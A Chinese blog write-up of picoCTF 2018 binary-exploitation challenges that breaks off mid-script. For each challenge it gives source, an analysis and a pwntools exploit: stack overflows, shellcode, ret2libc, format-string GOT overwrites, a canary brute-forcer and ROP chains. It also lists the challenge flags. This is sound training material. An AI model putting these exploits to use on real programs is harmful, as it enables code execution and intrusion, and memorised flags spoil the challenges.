pico ctf 2013 php3,picoCTFのpwn解析

161843

前言

国庆期间得知了美国CMU主办的picoCTF比赛,出于最近做题的手感有所下降,借此比赛来复习下PWN相关的题型(题目的质量不错,而且题型很广,自我感觉相当棒的比赛)

buffer overflow 0

先检查一遍文件

➜ bufferoverflow0 file vuln

vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e1e24cdf757acbd04d095e531a40d044abed7e82, not stripped

➜ bufferoverflow0 checksec vuln

[*] '/home/Ep3ius/pwn/process/picoCTF2018/bufferoverflow0/vuln'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000)

由于这题给了源码所以我们直接看源码

#include

#include

#include

#include

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {

fprintf(stderr, "%sn", flag);

fflush(stderr);

exit(1);

}

void vuln(char *input){

char buf[16];

strcpy(buf, input);// !stackoverflow

}

int main(int argc, char **argv){

FILE *f = fopen("flag.txt","r");

if (f == NULL) {

printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");

exit(0);

}

fgets(flag,FLAGSIZE_MAX,f);

signal(SIGSEGV, sigsegv_handler);

gid_t gid = getegid();

setresgid(gid, gid, gid);

if (argc > 1) {

vuln(argv[1]);

printf("Thanks! Received: %s", argv[1]);

}

else

printf("This program takes 1 argument.n");

return 0;

}

不难看出传入的参数没有限制大小造成在vuln函数里面strcpy至buf时可能导致栈溢出,而这题只要将程序执行流劫持到sigsegv_handler函数就可以读flag,直接放exp

EXP

from pwn import*

context(os='linux',arch='i386',log_level='debug')

elf = ELF('./vuln')

flag_addr = 0x804a080

puts_plt = elf.plt['puts']

buf = 'a'*0x18

payload = buf + 'aaaa'

payload += p32(puts_plt) + 'aaaa' + p32(flag_addr)

n = process(argv=['./vuln', payload])

n.interactive()

FLAG

picoCTF{ov3rfl0ws_ar3nt_that_bad_a54b012c}

buffer overflow 1

检查一遍文件

➜ bufferoverflow1 file vuln

vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=98eac1e5bfaa95437b28e069a343f3c3a7b9e800, not stripped

➜ bufferoverflow1 checksec vuln

[*] '/home/Ep3ius/pwn/process/picoCTF2018/bufferoverflow1/vuln'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX disabled

PIE: No PIE (0x8048000)

RWX: Has RWX segments

全都没开,大胆猜测是要我们写shellcode,看源码确认一波

#include

#include

#include

#include

#include

#include "asm.h"

#define BUFSIZE 32

#define FLAGSIZE 64

void win() {

char buf[FLAGSIZE];

FILE *f = fopen("flag.txt","r");

if (f == NULL) {

printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");

exit(0);

}

fgets(buf,FLAGSIZE,f);

printf(buf);

}

void vuln(){

char buf[BUFSIZE];

gets(buf);

printf("Okay, time to return... Fingers Crossed... Jumping to 0x%xn", get_return_address());

}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

gid_t gid = getegid();

setresgid(gid, gid, gid);

puts("Please enter your string: ");

vuln();

return 0;

}

emmmm……看起来是可以用ret2shellcode但感觉有点麻烦,所以就简单套路直接溢出后劫持返回地址为win函数直接getflag

EXP

from pwn import*

context(os='linux',arch='i386',log_level='debug')

n = process('./vuln')

elf = ELF('./vuln')

buf = 0x28

win_addr = 0x080485CB

payload = 'a'*buf + 'aaaa' + p32(win_addr)

n.sendline(payload)

n.interactive()

FLAG

picoCTF{addr3ss3s_ar3_3asy14941911}

leak-me

➜ leak-me file auth

auth: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c69a8024075d10a44fe028c410f5a06580bd3d82, not stripped

➜ leak-me checksec auth

[*] '/home/Ep3ius/pwn/process/picoCTF2018/leak-me/auth'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000)

看源码分析一下程序的主要功能

#include

#include

#include

#include

#include

int flag() {

char flag[48];

FILE *file;

file = fopen("flag.txt", "r");

if (file == NULL) {

printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");

exit(0);

}

fgets(flag, sizeof(flag), file);

printf("%s", flag);

return 0;

}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

// Set the gid to the effective gid

gid_t gid = getegid();

setresgid(gid, gid, gid);

// real pw:

FILE *file;

char password[64];

char name[256];

char password_input[64];

memset(password, 0, sizeof(password));

memset(name, 0, sizeof(name));

memset(password_input, 0, sizeof(password_input));

printf("What is your name?n");

fgets(name, sizeof(name), stdin);

char *end = strchr(name, 'n'); //name='a'*0x100 *end = NULL

if (end != NULL)

{

*end = 'x00';

}

strcat(name, ",nPlease Enter the Password.");

file = fopen("password.txt", "r");

if (file == NULL)

{

printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");

exit(0);

}

fgets(password, sizeof(password), file);

printf("Hello ");

puts(name);

fgets(password_input, sizeof(password_input), stdin);

password_input[sizeof(password_input)] = 'x00';

if (!strcmp(password_input, password))

{

flag();

}

else

{

printf("Incorrect Password!n");

}

return 0;

}

我们可以看到存在一个很经典的栅栏错误类型的off-by-one漏洞,当name输入为‘a’*0x100 时栈上的结构会如下图所示

161843

我们知道puts是根据’x00’来判断字符串的末端来输出,根据程序逻辑正常的情况下应该是像左图一样是以’n’为结尾的字符串,然后通过源代码43—47行来将’n’替换成’x00’使得puts(name)能正确输出输入的name,但如果输入了’a’*256的话,会导致最后一个’n’并没有读入而导致程序在puts(name)时会连带下面的password一起输出,这样我们就可以得到服务器上的password为

a_reAllY_s3cuRe_p4s$word_f85406

然后直接连服务器,输入长度小于256的name和leak出来的password就能直接拿到flag

FLAG

picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_0f7ec3c0}

shellcode

➜ shellcode file vuln

vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=fdba7cd36e043609da623c330a501f920470b49a, not stripped

➜ shellcode checksec vuln

[*] '/home/Ep3ius/pwn/process/picoCTF2018/shellcode/vuln'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX disabled

PIE: No PIE (0x8048000)

RWX: Has RWX segments

emmmm……防护机制全没开而且题目还叫shellcode,应该错不了是写shellcode了

#include

#include

#include

#include

#include

#define BUFSIZE 148

#define FLAGSIZE 128

void vuln(char *buf){

gets(buf);

puts(buf);

}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

// Set the gid to the effective gid

// this prevents /bin/sh from dropping the privileges

gid_t gid = getegid();

setresgid(gid, gid, gid);

char buf[BUFSIZE];

puts("Enter a string!");

vuln(buf);

puts("Thanks! Executing now...");

((void (*)())buf)();

return 0;

}

简单审计源码后发现还真是只要写个shellcode就没了,直接给exp

EXP

from pwn import*

context(os='linux',arch='i386',log_level='debug')

n = process('./vuln')

elf = ELF('./vuln')

payload = asm(shellcraft.sh())

n.sendline(payload)

n.interactive()

FLAG

picoCTF{shellc0de_w00h00_7f5a7309}

bufer overflow2

➜ bufferoverflow2 file vuln

vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f2f6cce698b62f5109de9955c0ea0ab832ea967c, not stripped

➜ bufferoverflow2 checksec vuln

[*] '/home/Ep3ius/pwn/process/picoCTF2018/bufferoverflow2/vuln'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000)

审计一下源码

#include

#include

#include

#include

#include

#define BUFSIZE 100

#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {

char buf[FLAGSIZE];

FILE *f = fopen("flag.txt","r");

if (f == NULL) {

printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");

exit(0);

}

fgets(buf,FLAGSIZE,f);

if (arg1 != 0xDEADBEEF)

return;

if (arg2 != 0xDEADC0DE)

return;

printf(buf);

}

void vuln(){

char buf[BUFSIZE];

gets(buf);

puts(buf);

}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

gid_t gid = getegid();

setresgid(gid, gid, gid);

puts("Please enter your string: ");

vuln();

return 0;

}

我们很容易理解题目是要我们通过vuln函数里的栈溢出把执行流劫持到win函数,并且要使传入的参数为0xDEADBEEF和0xDEADC0DE,由于是32位程序,所以直接p32(0xDEADBEEF)+p32(0xDEADC0DE)构造ROP来getflag

EXP

from pwn import*

context(os='linux',arch='i386',log_level='debug')

n = process('./vuln')

elf = ELF('./vuln')

buf = 'a'*0x6c

win_addr = 0x80485CB

payload = buf + 'aaaa' + p32(win_addr)+ 'aaaa' + p32(0xDEADBEEF) + p32(0xDEADC0DE)

n.sendline(payload)

n.interactive()

FLAG

picoCTF{addr3ss3s_ar3_3asy30833fa1}

got-2-learn-libc

➜ got-2-learn-libc file vuln

vuln: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4e901d4c8bdb0ea8cfd51522376bea63082a2734, not stripped

➜ got-2-learn-libc checksec vuln

[*] '/home/Ep3ius/pwn/process/picoCTF2018/got-2-learn-libc/vuln'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: PIE enabled

开了PIE,然而看到程序觉得开没开都没差的样子

#include

#include

#include

#include

#include

#define BUFSIZE 148

#define FLAGSIZE 128

char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */

void vuln(){

char buf[BUFSIZE];

puts("Enter a string:");

gets(buf);

puts(buf);

puts("Thanks! Exiting now...");

}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

// Set the gid to the effective gid

// this prevents /bin/sh from dropping the privileges

gid_t gid = getegid();

setresgid(gid, gid, gid);

puts("Here are some useful addresses:n");

printf("puts: %pn", puts);

printf("fflush %pn", fflush);

printf("read: %pn", read);

printf("write: %pn", write);

printf("useful_string: %pn", useful_string);

printf("n");

vuln();

return 0;

}

是的,就是一个简单的ret2libc的应用,通过printf出的地址我们可以得到偏移量,然后去计算system的实际地址,然后把useful_string输出的地址,也就是”/bin/sh”当作参数来构造ROP来执行system(‘/bin/sh’)

我们先连上题目环境看下文件链接的libc文件的路径

Ep3ius@pico-2018-shell-2:/problems/got-2-learn-libc_1_ceda86bc09ce7d6a0588da4f914eb833$ ldd *

vuln:

linux-gate.so.1 => (0xf77c5000)

libc.so.6 => /lib32/libc.so.6 (0xf75ff000)

/lib/ld-linux.so.2 (0xf77c6000)

EXP

from pwn import*

context(os='linux',arch='i386',log_level='debug')

n = process('./vuln')

elf = ELF('./vuln')

libc = ELF('/lib32/libc.so.6')

buf = 'a'*0x9c

system_sym = libc.symbols['system']

puts_sym = libc.symbols['puts']

n.recvuntil('puts: 0x')

puts_addr = int(n.recvuntil('n'),16)

print hex(puts_addr)

n.recvuntil('useful_string: ')

sh_addr = int(n.recvuntil('n'),16)

print hex(sh_addr)

system_addr = (puts_addr - puts_sym) + system_sym

payload = buf + 'aaaa' + p32(system_addr) + 'aaaa' + p32(sh_addr)

n.sendline(payload)

n.interactive()

echooo

➜ echooo file echo

echo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a5f76d1d59c0d562ca051cb171db19b5f0bd8fe7, not stripped

➜ echooo checksec echo

[*] '/home/Ep3ius/pwn/process/picoCTF2018/echooo/echo'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000)

#include

#include

#include

#include

#include

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

char buf[64];

char flag[64];

char *flag_ptr = flag;

// Set the gid to the effective gid

gid_t gid = getegid();

setresgid(gid, gid, gid);

memset(buf, 0, sizeof(flag));

memset(buf, 0, sizeof(buf));

puts("Time to learn about Format Strings!");

puts("We will evaluate any format string you give us with printf().");

puts("See if you can get the flag!");

FILE *file = fopen("flag.txt", "r");

if (file == NULL) {

printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");

exit(0);

}

fgets(flag, sizeof(flag), file);

while(1)

{

printf("> ");

fgets(buf, sizeof(buf), stdin);

printf(buf);

}

return 0;

}

审计完源码后发现在main函数末尾存在可多次利用的格式化字符串漏洞,而flag已经读入到栈上本来的解题思路应该是通过格式化字符串读栈上flag所在的位置来获得flag,但我的第一想法是直接改printf_got为system的实际地址拿shell

先测出来偏移为11

➜ echooo ./echo

Time to learn about Format Strings!

We will evaluate any format string you give us with printf().

See if you can get the flag!

> aaaa%11$x

aaaa61616161

然后通过p32(printf_got)+”%11$s”泄露出printf的实际地址来计算偏移以此得到system的实际地址

EXP

from pwn import*

context(os='linux',arch='i386',log_level='debug')

#n = process('./echo')

n = remote('2018shell2.picoctf.com',57169)

elf = ELF('./echo')

libc = ELF('/lib32/libc.so.6')

#printf_got = elf.got['printf']

printf_got = 0x804a00c

printf_sym = libc.symbols['printf']

system_sym = libc.symbols['system']

payload = p32(printf_got)+'%11$s'

n.recvuntil('>')

n.sendline(payload)

#leak

printf_addr1 = n.recvuntil('n')

printf_addr = u32(printf_addr1[5:9])

print hex(printf_addr)

offset = printf_addr - printf_sym

system_addr = offset + system_sym

print hex(system_addr)

payload_fmt = fmtstr_payload(11,{printf_got:system_addr})

n.recvuntil('>')

n.sendline(payload_fmt)

sleep(0.1)

n.sendline('/bin/sh')

n.interactive()

FLAG

picoCTF{foRm4t_stRinGs_aRe_DanGer0us_e3d226b2}

authenticate

➜ authenticate file auth

auth: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=36db9dbaf46e8f9c9055839ffedd30fe65050a47, not stripped

➜ authenticate checksec auth

[*] '/home/Ep3ius/pwn/process/picoCTF2018/authenticate/auth'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (0x8048000)

审计下源码

#include

#include

#include

#include

#include

int authenticated = 0;

int flag() {

char flag[48];

FILE *file;

file = fopen("flag.txt", "r");

if (file == NULL) {

printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");

exit(0);

}

fgets(flag, sizeof(flag), file);

printf("%s", flag);

return 0;

}

void read_flag() {

if (!authenticated) {

printf("Sorry, you are not *authenticated*!n");

}

else {

printf("Access Granted.n");

flag();

}

}

int main(int argc, char **argv) {

setvbuf(stdout, NULL, _IONBF, 0);

char buf[64];

// Set the gid to the effective gid

// this prevents /bin/sh from dropping the privileges

gid_t gid = getegid();

setresgid(gid, gid, gid);

printf("Would you like to read the flag? (yes/no)n");

fgets(buf, sizeof(buf), stdin);

if (strstr(buf, "no") != NULL) {

printf("Okay, Exiting...n");

exit(1);

}

else if (strstr(buf, "yes") == NULL) {

puts("Received Unknown Input:n");

printf(buf);

}

read_flag();

}

简单的过一遍我们可以得到程序的大致流程,如果输入的字符串内带有”no”就退出程序,如果输入的字符串带有”yes”且没有”no”便进入unknown_input分支并触发了一个格式化字符串漏洞,然后程序继续执行进入read_flag()函数里,先进行一个判断,如果authenticated不为0就能调用flag函数来getflag,而authenticated是在一开始就全局定义为0了,这时我们能想到通过利用前面的格式化字符串来修改authenticated的值

EXP

from pwn import*

context(os='linux',arch='i386',log_level='debug')

#n = process('./auth')

n = remote('2018shell2.picoctf.com',52398)

elf = ELF('./auth')

puts_got = elf.got['puts']

puts_sym = elf.symbols['puts']

authenticated_addr = 0x0804A04C

payload = fmtstr_payload(11,{authenticated_addr:0xDEADBEEF})

n.sendline(payload)

n.interactive()

FLAG

picoCTF{y0u_4r3_n0w_aUtH3nt1c4t3d_0bec1698}

got—shell?

➜ got-shell file auth

auth: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5c1f84b034b4906cce036c3748d4b5a5c3eae0d8, not stripped

➜ got-shell checksec auth

[*] '/home/Ep3ius/pwn/process/picoCTF2018/got-shell/auth'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000)

看一波源码

#include

#include

#include

#include

#include

void win() {

system("/bin/sh");

}

int main(int argc, char **argv) {

setvbuf(stdout, NULL, _IONBF, 0);

char buf[256];

unsigned int address;

unsigned int value;

puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");

scanf("%x", &address);

sprintf(buf, "Okay, now what value would you like to write to 0x%x", address);

puts(buf);

scanf("%x", &value);

sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address);

puts(buf);

*(unsigned int *)address = value;

puts("Okay, exiting now...n");

exit(1);

}

开始还以为自己是不是C没学好,这题怎么可能这么简单输入两个地址就getshell了,结果发现还真的是。程序的逻辑大致为输入一个十六进制的地址,然后再输入一个十六进制的数值,然后把第一次输入的地址的值替换成输入的数值,我们可以很容易想到用win函数的地址去替换puts_got,这样在程序调用puts时就相当调用了win函数来getshell

EXP

from pwn import*

context(os='linux',arch='i386',log_level='debug')

#n = process('./auth')

n = remote('2018shell2.picoctf.com',23731)

elf = ELF('./auth')

puts_got = elf.got['puts']

win_addr = 0x0804854B

n.sendline(hex(puts_got))

sleep(0.1)

n.sendline(hex(win_addr))

n.interactive()

FLAG

picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_a8321d81}

rop chain

➜ ropchain file rop

rop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=86b31b317beb6a0fac1439ef6b2a271e0132537e, not stripped

➜ ropchain checksec rop

[*] '/home/Ep3ius/pwn/process/picoCTF2018/ropchain/rop'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000)

看一下源码

#include

#include

#include

#include

#include

#include

#define BUFSIZE 16

bool win1 = false;

bool win2 = false;

void win_function1() {

win1 = true;

}

void win_function2(unsigned int arg_check1) {

if (win1 && arg_check1 == 0xBAAAAAAD) {

win2 = true;

}

else if (win1) {

printf("Wrong Argument. Try Again.n");

}

else {

printf("Nope. Try a little bit harder.n");

}

}

void flag(unsigned int arg_check2) {

char flag[48];

FILE *file;

file = fopen("flag.txt", "r");

if (file == NULL) {

printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");

exit(0);

}

fgets(flag, sizeof(flag), file);

if (win1 && win2 && arg_check2 == 0xDEADBAAD) {

printf("%s", flag);

return;

}

else if (win1 && win2) {

printf("Incorrect Argument. Remember, you can call other functions in between each win function!n");

}

else if (win1 || win2) {

printf("Nice Try! You're Getting There!n");

}

else {

printf("You won't get the flag that easy..n");

}

}

void vuln() {

char buf[16];

printf("Enter your input> ");

return gets(buf);

}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

// Set the gid to the effective gid

// this prevents /bin/sh from dropping the privileges

gid_t gid = getegid();

setresgid(gid, gid, gid);

vuln();

}

审计过代码后我们可以得到程序中各个函数的功能和作用,像win_function1函数的作用为将全局变量win1的值赋为1,win_function2函数的作用是在win1非0且传入的参数为0xBAAAAAAD时将全局变量win2的值赋为1,flag函数的作用是当全局变量win1,win2都不为0且传入的参数为0xDEADBAAD时输出flag,这样我们就知道要通过vuln函数里的栈溢出来构造ROP去分别执行这三个函数getflag

161843

EXP

from pwn import*

context(os='linux',arch='i386',log_level='debug')

n = process('./rop')

elf = ELF('./rop')

func1 = 0x080485CB

func2 = 0x080485d8

flag = 0x0804862B

pop_ret = 0x080485d6

buf = 'a'*0x18

payload = buf + 'aaaa'

payload += p32(func1)+p32(pop_ret) + p32(0)

payload += p32(func2)+p32(pop_ret) + p32(0xBAAAAAAD)

payload += p32(flag)+p32(pop_ret) + p32(0xDEADBAAD)

n.recvuntil('>')

n.sendline(payload)

n.interactive()

FLAG

picoCTF{rOp_aInT_5o_h4Rd_R1gHt_6e6efe52}

buffer overflow 3

➜ bufferoverflow3 file vuln

vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=49bf81f7f16a1c26cfbbb0a70bb89246fadc370e, not stripped

➜ bufferoverflow3 checksec vuln

[*] '/home/Ep3ius/pwn/process/picoCTF2018/bufferoverflow3/vuln'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000)

嗯,没开canary,看一波源码

#include

#include

#include

#include

#include

#include

#include

#define BUFSIZE 32

#define FLAGSIZE 64

#define CANARY_SIZE 4

void win() {

char buf[FLAGSIZE];

FILE *f = fopen("flag.txt","r");

if (f == NULL) {

printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");

exit(0);

}

fgets(buf,FLAGSIZE,f);

puts(buf);

fflush(stdout);

}

char global_canary[CANARY_SIZE];

void read_canary() {

FILE *f = fopen("canary.txt","r");

if (f == NULL) {

printf("Canary is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");

exit(0);

}

fread(global_canary,sizeof(char),CANARY_SIZE,f);

fclose(f);

}

void vuln(){

char canary[CANARY_SIZE];

char buf[BUFSIZE];

char length[BUFSIZE];

int count;

int x = 0;

memcpy(canary,global_canary,CANARY_SIZE);

printf("How Many Bytes will You Write Into the Buffer?n> ");

while (x

read(0,length+x,1);

if (length[x]=='n') break;

x++;

}

sscanf(length,"%d",&count);

printf("Input> ");

read(0,buf,count);

if (memcmp(canary,global_canary,CANARY_SIZE)) {

printf("*** Stack Smashing Detected *** : Canary Value Corrupt!n");

exit(-1);

}

printf("Ok... Now Where's the Flag?n");

fflush(stdout);

}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

// Set the gid to the effective gid

// this prevents /bin/sh from dropping the privileges

int i;

gid_t gid = getegid();

setresgid(gid, gid, gid);

read_canary();

vuln();

return 0;

}

打开审计后发现它自己实现了一个简易的Canary防护函数,我们针对canary常用的攻击方式中Stack Smashing Protector Leak

攻击可以立马否决,因为错误回显并没有输出avgr[0]这个必要条件。程序中canary的值是从一个内容不变的文本文档中读取的,所以我们可以通过写爆破脚本去把canary的具体内容输出出来。

通过ida我们可以得到canary插入在栈上0x10的位置,输入的首地址位于栈上0x30,

char buf; // [esp+28h] [ebp-30h]

int canary; // [esp+48h] [ebp-10h]

我们运行程序测试一下

➜ bufferoverflow3 ./vuln

How Many Bytes will You Write Into the Buffer?

> 32

Input> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Ok... Now Where's the Flag?

➜ bufferoverflow3 ./vuln

How Many Bytes will You Write Into the Buffer?

> 33

Input> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

*** Stack Smashing Detected *** : Canary Value Corrupt!

确认canary插入的位置为0x20

bp.py

from pwn import*

#canary = 'h_?='

canary = ''

for i in range(4):

for a in range(0xff):

n = process('./vuln')

n.recvuntil('> ')

n.sendline('36')

n.recvuntil('Input> ')

payload = 'a'*0x20+canary+chr(a)

#print chr(a)

n.send(payload)

try:

n.recvuntil('*** Stack Smashing Detected ***')

except:

if canary=='':

canary = chr(a)

else:

canary += chr(a)

n.close()

break

else:

n.close()

print 'canary:',canary

通过爆破我们得到canary的值为”h_?=”实在是鬼畜,本以为是PICO的我还是太天真了

在知道canary的情况下,剩下的就是简单的栈溢出劫持程序执行流至win函数就能get flag了

EXP

from pwn import*

context(os='linux',arch='i386',log_level='debug')

n = process('./vuln')

elf = ELF('./vuln')

canary = 'h_?='

win_addr = 0x080486EB

payload = 'a'*0x20+canary+'a'*(0x10-len(canary)+4)+p32(win_addr)

n.recvuntil('> ')

n.sendline('100')

n.recvuntil('Input> ')

n.sendline(payload)

n.interactive()

echo back

➜ echo back file echoback

echoback: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a0980ead6e67788ea13395e9bdd23f0fe3d0b2c8, not stripped

➜ echo back checksec echoback

[*] '/home/Ep3ius/pwn/process/picoCTF2018/echo back/echoback'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (0x8048000)

开了NX和Canary,审计下源码……然而这题并没有给,那就开ida看一下程序干了些什么

int __cdecl main(int argc, const char **argv, const char **envp)

{

__gid_t v3; // ST1C_4

setvbuf(_bss_start, 0, 2, 0);

v3 = getegid();

setresgid(v3, v3, v3);

vuln();

return 0;

}

161843

我们在vuln函数里发现存在一个格式化字符串漏洞,由于我太菜了没能想出能只用一次格式化字符串就能getshell的payload,所以就想先把puts_got改成了vuln函数的地址,让这个格式化字符串漏洞能多次触发。

我们审计过程序后能得到的大致思路为先测出偏移,修改puts_got为vuln函数地址使得漏洞能多次触发,然后通过p32(system_got)+fmt_offset来得到system的真实地址,再把system的真实地址写入printf_got,然后在下一轮循环中输入’/bin/sh’后printf(‘/bin/sh’)就相当执行了system(‘/bin/sh’)来getshell

➜ echo back ./echoback

input your message:

aaaa%7$x

aaaa61616161

Thanks for sending the message!

EXP

from pwn import*

context(os='linux',arch='i386',log_level='debug')

#n = process('./echoback')

n = remote('2018shell2.picoctf.com',37402)

elf = ELF('./echoback')

printf_got = elf.got['printf']

puts_got = elf.got['puts']

system_got = elf.got['system']

vuln_addr = 0x080485AB

payload1 = fmtstr_payload(7,{puts_got:vuln_addr})

n.recvuntil('message:')

n.sendline(payload1)

leak_payload = p32(system_got)+'%7$s'

n.send(leak_payload)

n.recvuntil('message:')

system_addr = u32(n.recv()[5:9])

print hex(system_addr)

payload = fmtstr_payload(7,{printf_got:system_addr})

n.sendline(payload)

n.interactive()

are you root?

➜ are_you_root file auth

auth: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=42ebad5f08a8e9d227f3783cc951f2737547e086, not stripped

➜ are_you_root checksec auth

[*] '/home/Ep3ius/pwn/process/picoCTF2018/are_you_root/auth'

Arch: amd64-64-little

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (0x400000)

源码分析过一遍后,我们锁定了几个存在漏洞可能的分支

输入用的是fgets

if(fgets(buf, 512, stdin) == NULL)

break;

typedef enum auth_level {

ANONYMOUS = 1,

GUEST = 2,

USER = 3,

ADMIN = 4,

ROOT = 5

} auth_level_t;

struct user {

char *name;

auth_level_t level;

};

login分支

else if (!strncmp(buf, "login", 5))

{

if (user != NULL)

{

puts("Already logged in. Reset first.");

continue;

}

arg = strtok(&buf[6], "n");

if (arg == NULL)

{

puts("Invalid command");

continue;

}

user = (struct user *)malloc(sizeof(struct user));

if (user == NULL)

{

puts("malloc() returned NULL. Out of Memoryn");

exit(-1);

}

user->name = strdup(arg);

printf("Logged in as "%s"n", arg);

}

reset分支

else if(!strncmp(buf, "reset", 5))

{

if (user == NULL)

{

puts("Not logged in!");

continue;

}

free(user->name);

user = NULL;

puts("Logged out!");

}

我们先登陆一个name=’a’*0x10,level=3的账号,下断点看一下堆里面的分布

gdb-peda$ parseheap

addr prev size status fd bk

0x603000 0x0 0x410 Used None None

0x603410 0x0 0x20 Used None None

0x603430 0x0 0x20 Used None None

gdb-peda$ x/8x 0x603410

0x603410: 0x0000000000000000 0x0000000000000021

0x603420: 0x0000000000603440

0x603430: 0x0000000000000000 0x0000000000000021

0x603440: 0x6161616161616161

gdb-peda$

0x603450: 0x0000000000000000 0x0000000000020bb1

0x603460: 0x0000000000000000 0x0000000000000000

0x603470: 0x0000000000000000 0x0000000000000000

0x603480: 0x0000000000000000 0x0000000000000000

然后reset这个账号,再看下堆

gdb-peda$ x/8x 0x603410

0x603410: 0x0000000000000000 0x0000000000000021

0x603420: 0x0000000000603440

0x603430: 0x0000000000000000 0x0000000000000021

0x603440: 0x0000000000000000 0x6161616161616161

gdb-peda$

0x603450: 0x0000000000000000 0x0000000000020bb1

0x603460: 0x0000000000000000 0x0000000000000000

0x603470: 0x0000000000000000 0x0000000000000000

0x603480: 0x0000000000000000 0x0000000000000000

发现0x603440里的值已经置为NULL了,但0x603448部分的值却没被清0,又因为我们的name可以输入很长,并且在建立账号时并没有对level置0操作,所以如果我们去构造一个name使其可以覆盖到下一个堆的level位就可以做到下一个账号的level位可以任意修改

我们再建一个账号看看下一个账号的level位和前一个账号的name的相对位置

gdb-peda$ x/8x 0x603410

0x603410: 0x0000000000000000 0x0000000000000021

0x603420: 0x0000000000603440 0x0000000000000000

0x603430: 0x0000000000000000

0x603440: 0x0000000000603460 0x0000000000000003

通过计算我们可以很容易得到name的起始位置和下一个账号的level位距离位8,那么我们直接构造’a’*0x8+p64(5)就能设好下一个账号的level位

EXP

from pwn import*

context(os='linux',arch='amd64',log_level='debug')

n = remote('2018shell2.picoctf.com',41208)

#n = process('./auth')

elf = ELF('./auth')

def reset():

n.recvuntil('> ')

